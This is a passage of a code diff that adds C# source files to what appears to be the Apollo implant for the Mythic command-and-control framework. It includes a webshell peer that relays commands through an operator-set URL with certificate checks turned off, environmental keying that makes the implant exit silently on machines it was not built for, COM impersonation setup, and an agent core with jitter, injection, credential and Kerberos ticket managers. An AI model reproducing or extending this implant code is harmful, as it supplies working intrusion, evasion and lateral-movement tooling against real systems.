_currentMessageReadAllMetadata = false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void UnwrapMessage()
|
||||
{
|
||||
AS.IPCChunkedData chunkedData = new (id: _currentMessageID, chunkNum: (int)_currentMessageChunkNum, totalChunks: (int)_currentMessageTotalChunks, data: _partialData.Take(_partialData.Length).ToArray());
|
||||
_partialData = [];
|
||||
lock (_messageOrganizer)
|
||||
{
|
||||
if (!_messageOrganizer.ContainsKey(chunkedData.ID))
|
||||
{
|
||||
_messageOrganizer[chunkedData.ID] = new ChunkedMessageStore<AS.IPCChunkedData>();
|
||||
_messageOrganizer[chunkedData.ID].MessageComplete += DeserializeToReceiver;
|
||||
}
|
||||
}
|
||||
_messageOrganizer[chunkedData.ID].AddMessage(chunkedData);
|
||||
if (_currentMessageChunkNum == _currentMessageTotalChunks)
|
||||
{
|
||||
_currentMessageID = Guid.NewGuid().ToString();
|
||||
}
|
||||
}
|
||||
|
||||
public override bool Start()
|
||||
{
|
||||
return _tcpClient.Connect();
|
||||
}
|
||||
|
||||
public override void Stop()
|
||||
{
|
||||
_cts.Cancel(); // should then hit the OnDisconnect which does all the cleanup
|
||||
_client?.Close();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,207 @@
|
||||
using ApolloInterop.Classes;
|
||||
using ApolloInterop.Interfaces;
|
||||
using ApolloInterop.Structs.MythicStructs;
|
||||
using System;
|
||||
using System.IO.Pipes;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using AI = ApolloInterop;
|
||||
using AS = ApolloInterop.Structs.ApolloStructs;
|
||||
using TTasks = System.Threading.Tasks;
|
||||
using ApolloInterop.Classes.Core;
|
||||
using ApolloInterop.Structs.ApolloStructs;
|
||||
using Tasks;
|
||||
using ApolloInterop.Utils;
|
||||
using System.Net;
|
||||
using System.IO;
|
||||
using System.Security.Policy;
|
||||
using ApolloInterop.Types.Delegates;
|
||||
|
||||
namespace Apollo.Peers.Webshell
|
||||
{
|
||||
public class WebshellPeer : AI.Classes.P2P.Peer
|
||||
{
|
||||
private Action _sendAction;
|
||||
private TTasks.Task _sendTask;
|
||||
private string _remote_url;
|
||||
private string _remote_query_param;
|
||||
private string _remote_cookie_name;
|
||||
private string _remote_cookie_value;
|
||||
private string _remote_agent_id;
|
||||
private string _remote_user_agent;
|
||||
|
||||
public WebshellPeer(IAgent agent, PeerInformation info) : base(agent, info)
|
||||
{
|
||||
C2ProfileName = "webshell";
|
||||
_remote_agent_id = info.CallbackUUID;
|
||||
_mythicUUID = info.CallbackUUID;
|
||||
_remote_url = info.C2Profile.Parameters.WebshellURL;
|
||||
_remote_query_param = info.C2Profile.Parameters.WebshellQueryParam;
|
||||
_remote_cookie_name = info.C2Profile.Parameters.WebshellCookieName;
|
||||
_remote_cookie_value = info.C2Profile.Parameters.WebshellCookieValue;
|
||||
_remote_user_agent = info.C2Profile.Parameters.WebshellUserAgent;
|
||||
_sendAction = () =>
|
||||
{
|
||||
_mythicUUID = info.CallbackUUID;
|
||||
OnUUIDNegotiated(this, new UUIDEventArgs(info.CallbackUUID));
|
||||
// Disable certificate validation on web requests
|
||||
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
|
||||
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072 | SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls;
|
||||
while (!_cts.IsCancellationRequested)
|
||||
{
|
||||
_senderEvent.WaitOne();
|
||||
if (!_cts.IsCancellationRequested && _senderQueue.TryDequeue(out byte[] result))
|
||||
{
|
||||
string data = Encoding.UTF8.GetString(result);
|
||||
//DebugHelp.DebugWriteLine($"Got data to send: {data}, _sendAction in WebshellPeer, to {_mythicUUID} from {_uuid}");
|
||||
Send(data);
|
||||
}
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
private void Send(string data)
|
||||
{
|
||||
WebClient webClient = new WebClient();
|
||||
// Use Default Proxy and Cached Credentials for Internet Access
|
||||
webClient.Proxy = WebRequest.GetSystemWebProxy();
|
||||
webClient.Proxy.Credentials = CredentialCache.DefaultCredentials;
|
||||
webClient.Headers.Add("User-Agent", _remote_user_agent);
|
||||
//webClient.BaseAddress = _remote_url;
|
||||
webClient.Headers.Add(HttpRequestHeader.Cookie, $"{_remote_cookie_name}={_remote_cookie_value}");
|
||||
if (data.Length > 4000)
|
||||
{
|
||||
// do a POST
|
||||
try
|
||||
{
|
||||
//DebugHelp.DebugWriteLine($"Sending POST to {_remote_url}");
|
||||
var response = webClient.UploadString(_remote_url, data);
|
||||
Recv(response, "");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Recv("", ex.Message);
|
||||
}
|
||||
} else
|
||||
{
|
||||
// do a GET
|
||||
string QueryURL = _remote_url;
|
||||
if (QueryURL.Contains("?"))
|
||||
{
|
||||
QueryURL += "&" + _remote_query_param + "=" + Uri.EscapeDataString(data);
|
||||
} else
|
||||
{
|
||||
QueryURL += "?" + _remote_query_param + "=" + Uri.EscapeDataString(data);
|
||||
}
|
||||
try
|
||||
{
|
||||
//DebugHelp.DebugWriteLine($"Sending GET to {QueryURL}");
|
||||
using (var stream = webClient.OpenRead(QueryURL))
|
||||
{
|
||||
using (var streamReader = new StreamReader(stream))
|
||||
{
|
||||
var result = streamReader.ReadToEnd();
|
||||
Recv(result, "");
|
||||
}
|
||||
}
|
||||
}
|
||||
catch(Exception ex)
|
||||
{
|
||||
Recv("", ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
private void Recv(string data, string error_message)
|
||||
{
|
||||
//DebugHelp.DebugWriteLine($"got response: {data} - {error_message}");
|
||||
if (error_message.Length > 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
if (data.StartsWith("<span id=\"task_response\">"))
|
||||
{
|
||||
string response = data.Replace("<span id=\"task_response\">", "").Replace("</span>", "");
|
||||
if (response.Length == 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
byte[] raw = Convert.FromBase64String(response);
|
||||
byte[] mythic_uuid_bytes = Encoding.UTF8.GetBytes(_mythicUUID);
|
||||
byte[] final_bytes = new byte[raw.Length + mythic_uuid_bytes.Length];
|
||||
Array.Copy(mythic_uuid_bytes, final_bytes, mythic_uuid_bytes.Length);
|
||||
Array.Copy(raw, 0, final_bytes, mythic_uuid_bytes.Length, raw.Length);
|
||||
string final_response = Convert.ToBase64String(final_bytes);
|
||||
//DebugHelp.DebugWriteLine($"got final response: {final_response}");
|
||||
_agent.GetTaskManager().AddDelegateMessageToQueue(new DelegateMessage()
|
||||
{
|
||||
MythicUUID = _mythicUUID,
|
||||
UUID = _uuid,
|
||||
C2Profile = C2ProfileName,
|
||||
Message = final_response
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
public override bool Connected()
|
||||
{
|
||||
//DebugHelp.DebugWriteLine($"checking if Connected()");
|
||||
return true;
|
||||
}
|
||||
|
||||
public override bool Finished()
|
||||
{
|
||||
//DebugHelp.DebugWriteLine($"checking if Finished()");
|
||||
return false;
|
||||
}
|
||||
|
||||
public override bool Start()
|
||||
{
|
||||
//DebugHelp.DebugWriteLine($"Start()");
|
||||
WebClient webClient = new WebClient();
|
||||
// Use Default Proxy and Cached Credentials for Internet Access
|
||||
webClient.Proxy = WebRequest.GetSystemWebProxy();
|
||||
webClient.Proxy.Credentials = CredentialCache.DefaultCredentials;
|
||||
webClient.Headers.Add("User-Agent", _remote_user_agent);
|
||||
//webClient.BaseAddress = _remote_url;
|
||||
webClient.Headers.Add(HttpRequestHeader.Cookie, $"{_remote_cookie_name}={_remote_cookie_value}");
|
||||
string QueryURL = _remote_url;
|
||||
if (QueryURL.Contains("?"))
|
||||
{
|
||||
QueryURL += "&" + _remote_query_param + "=";
|
||||
} else
|
||||
{
|
||||
QueryURL += "?" + _remote_query_param + "=";
|
||||
}
|
||||
try
|
||||
{
|
||||
//DebugHelp.DebugWriteLine($"Sending GET to {QueryURL}");
|
||||
using (var stream = webClient.OpenRead(QueryURL))
|
||||
{
|
||||
using (var streamReader = new StreamReader(stream))
|
||||
{
|
||||
streamReader.ReadToEnd();
|
||||
}
|
||||
}
|
||||
_sendTask = new TTasks.Task(_sendAction);
|
||||
_sendTask.Start();
|
||||
return true;
|
||||
}
|
||||
catch(Exception ex)
|
||||
{
|
||||
throw ex;
|
||||
}
|
||||
}
|
||||
|
||||
public override void Stop()
|
||||
{
|
||||
//DebugHelp.DebugWriteLine($"Stop()");
|
||||
_cts.Cancel();
|
||||
_senderEvent.Set();
|
||||
if(_sendTask != null){
|
||||
_sendTask.Wait();
|
||||
}
|
||||
OnDisconnect(this, new EventArgs());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,313 @@
|
||||
using System;
|
||||
using ApolloInterop.Serializers;
|
||||
using System.Collections.Generic;
|
||||
using ApolloInterop.Classes;
|
||||
using ApolloInterop.Interfaces;
|
||||
using System.IO.Pipes;
|
||||
using ApolloInterop.Structs.ApolloStructs;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Linq;
|
||||
using System.Collections.Concurrent;
|
||||
using ApolloInterop.Classes.Core;
|
||||
using ApolloInterop.Classes.Events;
|
||||
using ApolloInterop.Enums.ApolloEnums;
|
||||
using System.Runtime.InteropServices;
|
||||
using ApolloInterop.Utils;
|
||||
using System.Security.Cryptography;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Apollo
|
||||
{
|
||||
class Program
|
||||
{
|
||||
private static JsonSerializer _jsonSerializer = new JsonSerializer();
|
||||
private static AutoResetEvent _receiverEvent = new AutoResetEvent(false);
|
||||
private static ConcurrentQueue<IMythicMessage> _receiverQueue = new ConcurrentQueue<IMythicMessage>();
|
||||
private static ConcurrentDictionary<string, ChunkedMessageStore<IPCChunkedData>> MessageStore = new ConcurrentDictionary<string, ChunkedMessageStore<IPCChunkedData>>();
|
||||
private static AutoResetEvent _connected = new AutoResetEvent(false);
|
||||
private static ConcurrentQueue<byte[]> _senderQueue = new ConcurrentQueue<byte[]>();
|
||||
private static Action<object> _sendAction;
|
||||
private static CancellationTokenSource _cancellationToken = new CancellationTokenSource();
|
||||
private static AutoResetEvent _senderEvent = new AutoResetEvent(false);
|
||||
private static AutoResetEvent _complete = new AutoResetEvent(false);
|
||||
private static bool _completed;
|
||||
private static Action<object> _flushMessages;
|
||||
public enum RPC_AUTHN_LEVEL
|
||||
{
|
||||
PKT_PRIVACY = 6
|
||||
}
|
||||
|
||||
public enum RPC_IMP_LEVEL
|
||||
{
|
||||
IMPERSONATE = 3
|
||||
}
|
||||
|
||||
public enum EOLE_AUTHENTICATION_CAPABILITIES
|
||||
{
|
||||
DYNAMIC_CLOAKING = 0x40
|
||||
}
|
||||
[DllImport("ole32.dll")]
|
||||
static extern int CoInitializeSecurity(IntPtr pSecDesc, int cAuthSvc, IntPtr asAuthSvc, IntPtr pReserved1, RPC_AUTHN_LEVEL dwAuthnLevel, RPC_IMP_LEVEL dwImpLevel, IntPtr pAuthList, EOLE_AUTHENTICATION_CAPABILITIES dwCapabilities, IntPtr pReserved3);
|
||||
// we need this to happen first so we can use impersonation tokens with wmiexecute
|
||||
static readonly int _security_init = CoInitializeSecurity(IntPtr.Zero, -1, IntPtr.Zero, IntPtr.Zero, RPC_AUTHN_LEVEL.PKT_PRIVACY, RPC_IMP_LEVEL.IMPERSONATE, IntPtr.Zero, EOLE_AUTHENTICATION_CAPABILITIES.DYNAMIC_CLOAKING, IntPtr.Zero);
|
||||
public static void Main(string[] args)
|
||||
{
|
||||
if (_security_init != 0)
|
||||
{
|
||||
DebugHelp.DebugWriteLine($"CoInitializeSecurity status: {_security_init}");
|
||||
}
|
||||
|
||||
// Check environmental keying before starting agent
|
||||
if (!CheckEnvironmentalKeying())
|
||||
{
|
||||
// Exit silently if keying check fails
|
||||
return;
|
||||
}
|
||||
|
||||
Agent.Apollo ap = new Agent.Apollo(Config.PayloadUUID);
|
||||
ap.Start();
|
||||
}
|
||||
|
||||
private static bool CheckEnvironmentalKeying()
|
||||
{
|
||||
// If keying is not enabled, always return true
|
||||
if (!Config.KeyingEnabled)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
// Handle Registry keying separately (3 = Registry)
|
||||
if (Config.KeyingMethod == 3)
|
||||
{
|
||||
return CheckRegistryKeying();
|
||||
}
|
||||
|
||||
string currentValue = "";
|
||||
|
||||
// Get the appropriate value based on keying method
|
||||
// 1 = Hostname, 2 = Domain
|
||||
if (Config.KeyingMethod == 1)
|
||||
{
|
||||
currentValue = Environment.MachineName;
|
||||
}
|
||||
else if (Config.KeyingMethod == 2)
|
||||
{
|
||||
currentValue = Environment.UserDomainName;
|
||||
}
|
||||
else
|
||||
{
|
||||
// Unknown keying method, fail safe and exit
|
||||
return false;
|
||||
}
|
||||
|
||||
// Convert to uppercase before hashing (same as build time)
|
||||
currentValue = currentValue.ToUpper();
|
||||
|
||||
// For hostname (1), just check the single value
|
||||
if (Config.KeyingMethod == 1)
|
||||
{
|
||||
string currentValueHash = ComputeSHA256Hash(currentValue);
|
||||
if (currentValueHash.Equals(Config.KeyingValueHash, StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
// For domain (2), check full domain and all parts split by '.'
|
||||
else if (Config.KeyingMethod == 2)
|
||||
{
|
||||
// First try the full domain
|
||||
string fullDomainHash = ComputeSHA256Hash(currentValue);
|
||||
if (fullDomainHash.Equals(Config.KeyingValueHash, StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
// Then try each part of the domain split by '.'
|
||||
string[] domainParts = currentValue.Split('.');
|
||||
foreach (string part in domainParts)
|
||||
{
|
||||
if (!string.IsNullOrEmpty(part))
|
||||
{
|
||||
string partHash = ComputeSHA256Hash(part);
|
||||
if (partHash.Equals(Config.KeyingValueHash, StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Keying check failed
|
||||
return false;
|
||||
}
|
||||
catch
|
||||
{
|
||||
// If any error occurs during keying check, fail safe and exit
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private static bool CheckRegistryKeying()
|
||||
{
|
||||
try
|
||||
{
|
||||
// Parse the registry path
|
||||
string regPath = Config.RegistryPath;
|
||||
if (string.IsNullOrEmpty(regPath))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
// Split registry path into hive, subkey, and value name
|
||||
// Expected format: HKLM\SOFTWARE\Path\To\Key\ValueName
|
||||
string[] pathParts = regPath.Split('\\');
|
||||
if (pathParts.Length < 2)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
// Get the registry hive
|
||||
RegistryKey hive = GetRegistryHive(pathParts[0]);
|
||||
if (hive == null)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
// Get the value name (last part)
|
||||
string valueName = pathParts[pathParts.Length - 1];
|
||||
|
||||
// Get the subkey path (everything between hive and value name)
|
||||
string subKeyPath = string.Join("\\", pathParts, 1, pathParts.Length - 2);
|
||||
|
||||
// Open the registry key
|
||||
using (RegistryKey key = hive.OpenSubKey(subKeyPath))
|
||||
{
|
||||
if (key == null)
|
||||
{
|
||||
// Registry key doesn't exist
|
||||
return false;
|
||||
}
|
||||
|
||||
// Get the registry value
|
||||
object regValue = key.GetValue(valueName);
|
||||
if (regValue == null)
|
||||
{
|
||||
// Registry value doesn't exist
|
||||
return false;
|
||||
}
|
||||
|
||||
string regValueString = regValue.ToString();
|
||||
|
||||
// Check based on comparison mode: 1 = Matches, 2 = Contains
|
||||
if (Config.RegistryComparison == 1)
|
||||
{
|
||||
// Hash-based secure matching
|
||||
string regValueHash = ComputeSHA256Hash(regValueString.ToUpper());
|
||||
return regValueHash.Equals(Config.KeyingValueHash, StringComparison.OrdinalIgnoreCase);
|
||||
}
|
||||
else if (Config.RegistryComparison == 2)
|
||||
{
|
||||
// Plaintext contains matching (weak security)
|
||||
return regValueString.IndexOf(Config.RegistryValue, StringComparison.OrdinalIgnoreCase) >= 0;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
catch
|
||||
{
|
||||
// If any error occurs, fail safe and exit
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private static RegistryKey GetRegistryHive(string hiveName)
|
||||
{
|
||||
switch (hiveName.ToUpper())
|
||||
{
|
||||
case "HKLM":
|
||||
case "HKEY_LOCAL_MACHINE":
|
||||
return Registry.LocalMachine;
|
||||
case "HKCU":
|
||||
case "HKEY_CURRENT_USER":
|
||||
return Registry.CurrentUser;
|
||||
case "HKCR":
|
||||
case "HKEY_CLASSES_ROOT":
|
||||
return Registry.ClassesRoot;
|
||||
case "HKU":
|
||||
case "HKEY_USERS":
|
||||
return Registry.Users;
|
||||
case "HKCC":
|
||||
case "HKEY_CURRENT_CONFIG":
|
||||
return Registry.CurrentConfig;
|
||||
default:
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private static string ComputeSHA256Hash(string input)
|
||||
{
|
||||
using (SHA256 sha256 = SHA256.Create())
|
||||
{
|
||||
byte[] hashBytes = sha256.ComputeHash(Encoding.UTF8.GetBytes(input));
|
||||
StringBuilder sb = new StringBuilder();
|
||||
foreach (byte b in hashBytes)
|
||||
{
|
||||
sb.Append(b.ToString("x2"));
|
||||
}
|
||||
return sb.ToString();
|
||||
}
|
||||
}
|
||||
|
||||
private static void Client_Disconnect(object sender, NamedPipeMessageArgs e)
|
||||
{
|
||||
e.Pipe.Close();
|
||||
_complete.Set();
|
||||
}
|
||||
|
||||
private static void Client_ConnectionEstablished(object sender, NamedPipeMessageArgs e)
|
||||
{
|
||||
System.Threading.Tasks.Task.Factory.StartNew(_sendAction, e.Pipe, _cancellationToken.Token);
|
||||
}
|
||||
|
||||
private static void OnAsyncMessageSent(IAsyncResult result)
|
||||
{
|
||||
PipeStream pipe = (PipeStream)result.AsyncState;
|
||||
// Potentially delete this since theoretically the sender Task does everything
|
||||
if (pipe.IsConnected)
|
||||
{
|
||||
pipe.EndWrite(result);
|
||||
if (!_cancellationToken.IsCancellationRequested && _senderQueue.TryDequeue(out byte[] bdata))
|
||||
{
|
||||
pipe.BeginWrite(bdata, 0, bdata.Length, OnAsyncMessageSent, pipe);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void OnAsyncMessageReceived(object sender, NamedPipeMessageArgs args)
|
||||
{
|
||||
IPCData d = args.Data;
|
||||
string msg = Encoding.UTF8.GetString(d.Data.Take(d.DataLength).ToArray());
|
||||
Console.Write(msg);
|
||||
}
|
||||
|
||||
private static void DeserializeToReceiverQueue(object sender, ChunkMessageEventArgs<IPCChunkedData> args)
|
||||
{
|
||||
MessageType mt = args.Chunks[0].Message;
|
||||
List<byte> data = new List<byte>();
|
||||
|
||||
for (int i = 0; i < args.Chunks.Length; i++)
|
||||
{
|
||||
data.AddRange(Convert.FromBase64String(args.Chunks[i].Data));
|
||||
}
|
||||
|
||||
IMythicMessage msg = _jsonSerializer.DeserializeIPCMessage(data.ToArray(), mt);
|
||||
//Console.WriteLine("We got a message: {0}", mt.ToString());
|
||||
_receiverQueue.Enqueue(msg);
|
||||
_receiverEvent.Set();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// General Information about an assembly is controlled through the following
|
||||
// set of attributes. Change these attribute values to modify the information
|
||||
// associated with an assembly.
|
||||
[assembly: AssemblyTitle("Apollo")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("Apollo")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2021")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
|
||||
// Setting ComVisible to false makes the types in this assembly not visible
|
||||
// to COM components. If you need to access a type in this assembly from
|
||||
// COM, set the ComVisible attribute to true on that type.
|
||||
[assembly: ComVisible(false)]
|
||||
|
||||
// The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
[assembly: Guid("f606a86c-39af-4b5a-b146-f14edc1d762c")]
|
||||
|
||||
// Version information for an assembly consists of the following four values:
|
||||
//
|
||||
// Major Version
|
||||
// Minor Version
|
||||
// Build Number
|
||||
// Revision
|
||||
//
|
||||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
@@ -0,0 +1,3 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<configuration>
|
||||
<startup><supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.0"/></startup></configuration>
|
||||
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<packages>
|
||||
<package id="Costura.Fody" version="5.7.0" targetFramework="net40" developmentDependency="true" />
|
||||
</packages>
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 264 KiB |
@@ -0,0 +1,26 @@
|
||||
<Project Sdk="Microsoft.NET.Sdk">
|
||||
<PropertyGroup>
|
||||
<TargetFramework>net451</TargetFramework>
|
||||
<OutputType>Library</OutputType>
|
||||
<LangVersion>12</LangVersion>
|
||||
<Nullable>enable</Nullable>
|
||||
<GenerateAssemblyInfo>false</GenerateAssemblyInfo>
|
||||
<Platforms>AnyCPU;x64;x86</Platforms>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System.Security" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<PackageReference Include="Microsoft.CSharp" Version="4.7.0" />
|
||||
<PackageReference Include="System.Data.DataSetExtensions" Version="4.5.0" />
|
||||
<PackageReference Include="System.Memory" Version="4.5.5" />
|
||||
<PackageReference Include="System.ValueTuple" Version="4.5.0" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<PackageReference Include="PolySharp" Version="1.14.1" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Remove="Serializers\ApolloSerializationBinder.cs" />
|
||||
<Compile Remove="Serializers\EncryptedSMBSerializer.cs" />
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,29 @@
|
||||
namespace ApolloInterop.Classes.Api
|
||||
{
|
||||
public class Library
|
||||
{
|
||||
public string Value { get; private set; }
|
||||
private Library(string libraryName)
|
||||
{
|
||||
Value = libraryName;
|
||||
}
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
return Value;
|
||||
}
|
||||
|
||||
public static Library NTDLL { get { return new Library("ntdll.dll"); } }
|
||||
public static Library ADVAPI32 { get { return new Library("advapi32.dll"); } }
|
||||
public static Library KERNEL32 { get { return new Library("kernel32.dll"); } }
|
||||
public static Library USER32 { get { return new Library("user32.dll"); } }
|
||||
public static Library USERENV { get { return new Library("userenv.dll"); } }
|
||||
public static Library SHELL32 { get { return new Library("shell32.dll"); } }
|
||||
public static Library SAMCLI { get { return new Library("samcli.dll"); } }
|
||||
public static Library NETUTILS { get { return new Library("netutils.dll"); } }
|
||||
public static Library NETAPI32 { get { return new Library("Netapi32.dll"); } }
|
||||
public static Library SRVCLI { get { return new Library("srvcli.dll"); } }
|
||||
public static Library IPHLPAPI { get { return new Library("iphlpapi.dll"); } }
|
||||
public static Library SECUR32 { get { return new Library("Secur32.dll"); } }
|
||||
}
|
||||
}
|
||||
+147
@@ -0,0 +1,147 @@
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace ApolloInterop.Classes.Collections
|
||||
{
|
||||
public class ThreadSafeList<T> : IList<T>
|
||||
{
|
||||
List<T> _collection = new List<T>();
|
||||
|
||||
public T this[int index] { get => GetIndexedItem(index); set => SetIndexedItem(index, value); }
|
||||
|
||||
|
||||
private void SetIndexedItem(int index, T val)
|
||||
{
|
||||
lock(_collection)
|
||||
{
|
||||
_collection[index] = val;
|
||||
}
|
||||
}
|
||||
|
||||
private T GetIndexedItem(int index)
|
||||
{
|
||||
T item;
|
||||
lock(_collection)
|
||||
{
|
||||
item = _collection[index];
|
||||
}
|
||||
return item;
|
||||
}
|
||||
|
||||
public int Count()
|
||||
{
|
||||
int count = 0;
|
||||
lock(_collection)
|
||||
{
|
||||
count = _collection.Count;
|
||||
}
|
||||
return count;
|
||||
}
|
||||
|
||||
public bool IsReadOnly => false;
|
||||
|
||||
int ICollection<T>.Count => Count();
|
||||
|
||||
public void Add(T obj)
|
||||
{
|
||||
lock(_collection)
|
||||
{
|
||||
_collection.Add(obj);
|
||||
}
|
||||
}
|
||||
|
||||
public void Clear()
|
||||
{
|
||||
lock(_collection)
|
||||
{
|
||||
_collection.Clear();
|
||||
}
|
||||
}
|
||||
|
||||
public bool Contains(T item)
|
||||
{
|
||||
bool bRet;
|
||||
lock(_collection)
|
||||
{
|
||||
bRet = _collection.Contains(item);
|
||||
}
|
||||
return bRet;
|
||||
}
|
||||
|
||||
public void CopyTo(T[] array, int arrayIndex)
|
||||
{
|
||||
lock(_collection)
|
||||
{
|
||||
Buffer.BlockCopy(_collection.ToArray(), 0, array, arrayIndex, _collection.Count);
|
||||
}
|
||||
}
|
||||
|
||||
public IEnumerator<T> GetEnumerator()
|
||||
{
|
||||
IEnumerator<T> res;
|
||||
lock(_collection)
|
||||
{
|
||||
res = _collection.GetEnumerator();
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
public int IndexOf(T item)
|
||||
{
|
||||
int i = -1;
|
||||
lock(_collection)
|
||||
{
|
||||
i = _collection.IndexOf(item);
|
||||
}
|
||||
return i;
|
||||
}
|
||||
|
||||
public void Insert(int index, T item)
|
||||
{
|
||||
lock(_collection)
|
||||
{
|
||||
_collection[index] = item;
|
||||
}
|
||||
}
|
||||
|
||||
public bool Remove(T obj)
|
||||
{
|
||||
bool bRet = false;
|
||||
lock(_collection)
|
||||
{
|
||||
bRet = _collection.Remove(obj);
|
||||
}
|
||||
return bRet;
|
||||
}
|
||||
|
||||
public void RemoveAt(int index)
|
||||
{
|
||||
lock(_collection)
|
||||
{
|
||||
_collection.RemoveAt(index);
|
||||
}
|
||||
}
|
||||
|
||||
IEnumerator IEnumerable.GetEnumerator()
|
||||
{
|
||||
IEnumerator res;
|
||||
lock(_collection)
|
||||
{
|
||||
res = _collection.GetEnumerator();
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
public T[] Flush()
|
||||
{
|
||||
T[] result;
|
||||
lock(_collection)
|
||||
{
|
||||
result = _collection.ToArray();
|
||||
_collection.Clear();
|
||||
}
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,115 @@
|
||||
using System;
|
||||
using System.Threading;
|
||||
using ApolloInterop.Features.KerberosTickets;
|
||||
using ApolloInterop.Interfaces;
|
||||
|
||||
namespace ApolloInterop.Classes
|
||||
{
|
||||
public abstract class Agent : IAgent
|
||||
{
|
||||
private static Mutex _outputLock = new Mutex();
|
||||
public int SleepInterval { get; protected set; } = 0;
|
||||
public double Jitter { get; protected set; } = 0;
|
||||
protected AutoResetEvent _sleepReset = new AutoResetEvent(false);
|
||||
protected AutoResetEvent _exit = new AutoResetEvent(false);
|
||||
protected WaitHandle[] _agentSleepHandles;
|
||||
public bool Alive { get; protected set; } = true;
|
||||
|
||||
protected Random random = new Random((int)DateTime.UtcNow.Ticks);
|
||||
|
||||
public IPeerManager PeerManager { get; protected set; }
|
||||
public ITaskManager TaskManager { get; protected set; }
|
||||
public ISocksManager SocksManager { get; protected set; }
|
||||
public IRpfwdManager RpfwdManager { get; protected set; }
|
||||
public IApi Api { get; protected set; }
|
||||
public IC2ProfileManager C2ProfileManager { get; protected set; }
|
||||
public ICryptographySerializer Serializer { get; protected set; }
|
||||
public IFileManager FileManager { get; protected set; }
|
||||
public IIdentityManager IdentityManager { get; protected set; }
|
||||
public IProcessManager ProcessManager { get; protected set; }
|
||||
public IInjectionManager InjectionManager { get; protected set; }
|
||||
|
||||
public ITicketManager TicketManager { get; protected set; }
|
||||
public string UUID { get; protected set; }
|
||||
|
||||
public Agent(string uuid)
|
||||
{
|
||||
UUID = uuid;
|
||||
_agentSleepHandles = new WaitHandle[]
|
||||
{
|
||||
_sleepReset,
|
||||
_exit
|
||||
};
|
||||
}
|
||||
|
||||
public abstract void Start();
|
||||
public virtual void Exit() { Alive = false; _exit.Set(); }
|
||||
public virtual void SetSleep(int seconds, double jitter=0)
|
||||
{
|
||||
SleepInterval = seconds * 1000;
|
||||
Jitter = jitter;
|
||||
if (Jitter != 0)
|
||||
{
|
||||
Jitter = Jitter / 100.0;
|
||||
}
|
||||
_sleepReset.Set();
|
||||
}
|
||||
|
||||
public virtual IApi GetApi()
|
||||
{
|
||||
return Api;
|
||||
}
|
||||
public virtual void Sleep(WaitHandle[] handles = null)
|
||||
{
|
||||
int sleepTime = SleepInterval;
|
||||
if (Jitter != 0)
|
||||
{
|
||||
int minSleep = (int)(SleepInterval * (1 - Jitter));
|
||||
int maxSleep = (int)(SleepInterval * (Jitter + 1));
|
||||
sleepTime = (int)(random.NextDouble() * (maxSleep - minSleep) + minSleep);
|
||||
}
|
||||
WaitHandle[] sleepers = _agentSleepHandles;
|
||||
if (handles != null)
|
||||
{
|
||||
WaitHandle[] tmp = new WaitHandle[handles.Length + sleepers.Length];
|
||||
Array.Copy(handles, tmp, handles.Length);
|
||||
